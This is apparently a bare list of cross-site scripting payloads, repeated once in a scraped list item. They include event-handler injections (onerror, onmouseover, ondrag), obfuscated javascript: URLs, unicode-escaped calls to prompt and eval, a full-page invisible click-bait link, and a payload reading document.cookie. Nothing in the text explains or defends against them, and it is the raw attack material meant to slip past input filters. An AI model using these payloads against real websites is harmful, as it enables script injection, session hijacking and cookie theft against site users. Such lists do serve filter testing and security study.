"><img src=x onerror=prompt(document.domain);>
<q oncut=u0070rompt(2)>
“><p id=““onmouseover=u0070rompt(1) //
“><p id=“u0070rompt(1)“onmouseover=u0065val(id) //
<script>alert(“ss“)</script>
>+<a+id="a"href=javascript%26colon;alert%26lpar;1%26rpar;+id="a"
style=width:100%25;height:100%25;position:fixed;left:0;top:0 x>Click me plz</a>
<img/src="x"/onerror="promu0070t&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;">
<sometag/ondrag=cou006efiru006d(document.cookie)>
<a fooooooooooooooooooooooo href=jAvAsCrIpT&colon;prompt&lpar;1&rpar;>ClickMe

">&lt;img src="x">

  • 1.
    "><img src=x onerror=prompt(document.domain);> <qoncut=u0070rompt(2)> “><p id=““onmouseover=u0070rompt(1) // “><p id=“u0070rompt(1)“onmouseover=u0065val(id) // <script>alert(“ss“)</script> >+<a+id="a"href=javascript%26colon;alert%26lpar;1%26rpar;+id="a" style=width:100%25;height:100%25;position:fixed;left:0;top:0 x>Click me plz</a> <img/src="x"/onerror="promu0070t&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;"> <sometag/ondrag=cou006efiru006d(document.cookie)> <a fooooooooooooooooooooooo href=jAvAsCrIpT&colon;prompt&lpar;1&rpar;>ClickMe